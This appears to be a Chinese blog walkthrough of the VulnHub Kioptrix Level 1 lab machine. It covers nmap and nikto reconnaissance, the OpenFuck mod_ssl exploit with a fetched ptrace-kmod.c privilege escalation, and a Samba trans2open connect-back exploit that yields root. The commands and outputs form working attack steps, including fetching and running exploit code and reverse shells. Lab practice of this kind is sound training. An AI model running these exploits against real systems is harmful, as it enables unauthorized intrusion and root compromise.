Walkthrough-KIOPTRIX LEVEL1

0x01 环境

靶机地址：
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

靶机虚拟机为桥接模式，建议kali也设置为桥接模式。
如果桥接模式未能获取IP，请检查一下编辑-虚拟网络编辑器中的桥接网卡设置，请设置要桥接的网卡。

0x02 过程

1.信息收集

获取IP

nmap -sn 192.168.60.1/24

通过比对网卡MAC地址得到靶机IP 192.168.60.152

常规扫描
端口

nmap -p- --min-rate 10000 -oA 192.168.60.152/tcp_ports 192.168.60.152

Nmap scan report for 192.168.60.152
Host is up (0.0020s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
443/tcp  open  https
1024/tcp open  kdm
MAC Address: 00:0C:29:D2:21:D1 (VMware)

nikto扫描

nikto -host 192.168.60.152

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.60.152
+ Target Hostname:    192.168.60.152
+ Target Port:        80
+ Start Time:         2023-03-20 21:47:45 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ /: Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 23:12:46 2001. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OpenSSL/0.9.6b appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.9.6) (may depend on server version).
+ /: Apache is vulnerable to XSS via the Expect header. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3918
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution.
+ Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system.
+ Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835
+ /manual/: Directory indexing found.
+ /manual/: Web server manual found.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /test.php: This might be interesting.
+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.
+ /shell?cat+/etc/hosts: A backdoor was identified.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8908 requests: 0 error(s) and 30 item(s) reported on remote host
+ End Time:           2023-03-20 21:48:06 (GMT-4) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

2.思路1

可以看到靶机开了80和443，直接访问发现仅仅是测试页面。再看向nikto扫描结果显示mod_ssl/2.8.4存在RCE，于是优先考虑这方向。

直接搜索漏洞

searchsploit mod_ssl

--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service                      | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow           | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overfl | unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overfl | unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open. | unix/remote/40347.txt
--------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

这里可以看到有3个OpenFuck，选数字大的，代码新一点也容易编译，老版本编译需要添加很多东西。

复制到当前路径

searchsploit -m unix/remote/47080.c

查看该脚本，根据注释内容来编译

cat 47080.c

/*
 * OF version r00t VERY PRIV8 spabam
 * Version: v3.0.4
 * Requirements: libssl-dev    ( apt-get install libssl-dev )
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena irc.brasnet.org
 * Note: if required, host ptrace and replace wget target
 */
 ...

编译

gcc -o OpenFuck 47080.c -lcrypto

会出现很多warning，只要没有error即可。

可以直接执行该exp

./OpenFuck

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./OpenFuck target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)
  

  Supported OffSet:
        0x00 - Caldera OpenLinux (apache-1.3.26)
        0x01 - Cobalt Sun 6.0 (apache-1.3.12)
        0x02 - Cobalt Sun 6.0 (apache-1.3.20)
        0x03 - Cobalt Sun x (apache-1.3.26)
        0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
		...

可以发现需要选择目标系统，根据前面的信息收集，可以得到Apache/1.3.20和Red-Hat/Linux

因此对比下来，选择0x6a或者0x6b，再选择0x6a时，执行了5次都是失败的，所以换成了0x6b

./OpenFuck 0x6b 192.168.60.152 443 -c 50

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo 
--22:59:57--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!

Unable to establish SSL connection.

Unable to establish SSL connection.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$ 
bash-2.05$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

多次执行可以发现获得反弹shell，但是权限较低，只是一个apache权限。

但是发现在执行过程中，会去下载一个c文件：https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
但是下载失败，可以先将该文件下载下来，并通过http下载到靶机，再编译，执行就获得root权限了。

在kali上找个目录，下载该文件

wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

启动简易http服务

python -m http.server 80

进入靶机，下载该文件

wget http://192.168.60.45/ptrace-kmod.c

编译

gcc -o exploit ptrace-kmod.c

执行

./exploit

获得root权限

bash-2.05$ ./exploit
./exploit
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

3.思路2

发现开放139 smb服务
于是查询smb 版本

使用msf

msfconsole
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set rhost 192.168.60.152
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.60.152:139    - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.60.152:139    -   Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.60.152:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

获得Samba 2.2.1a

查询漏洞

searchsploit Samba 2.2.1a

-------------------------------------------------------------- ---------------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ---------------------------------
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)  | osx/remote/9924.rb
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution             | multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow                         | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                 | linux_x86/dos/36741.py
-------------------------------------------------------------- ---------------------------------

可以发现存在trans2open Overflow
github上找到脚本https://github.com/KernelPan1k/trans2open-CVE-2003-0201/blob/master/trans2open.c

下载

wget https://raw.githubusercontent.com/KernelPan1k/trans2open-CVE-2003-0201/master/trans2open.c

编译

gcc trans2open.c -o trans2open

运行

./trans2open 
Samba < 2.2.8 Remote Root exploit by Schizoprenic
Connect back method, Xnuxer-Labs, 2003.
Usage  : ./trans2open <type> <victim> <your_ip>
Targets:
         0 = Linux
         1 = FreeBSD/NetBSD
         2 = OpenBSD 3.0 and prior
         3 = OpenBSD 3.2 - non-exec stack

获得root权限

./trans2open 0 192.168.60.152 192.168.60.45
[+] Listen on port: 45295
[+] Connecting back to: [192.168.60.45:45295]
[+] Target: Linux
[+] Connected to [192.168.60.152:139]
[+] Please wait in seconds...!
[+] Yeah, I have a root ....!
------------------------------
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
id
uid=0(root) gid=0(root) groups=99(nobody)
hostname
kioptrix.level1

posted @ 2023-03-21 17:44 Jarwu 阅读(130) 评论(0) 编辑收藏举报

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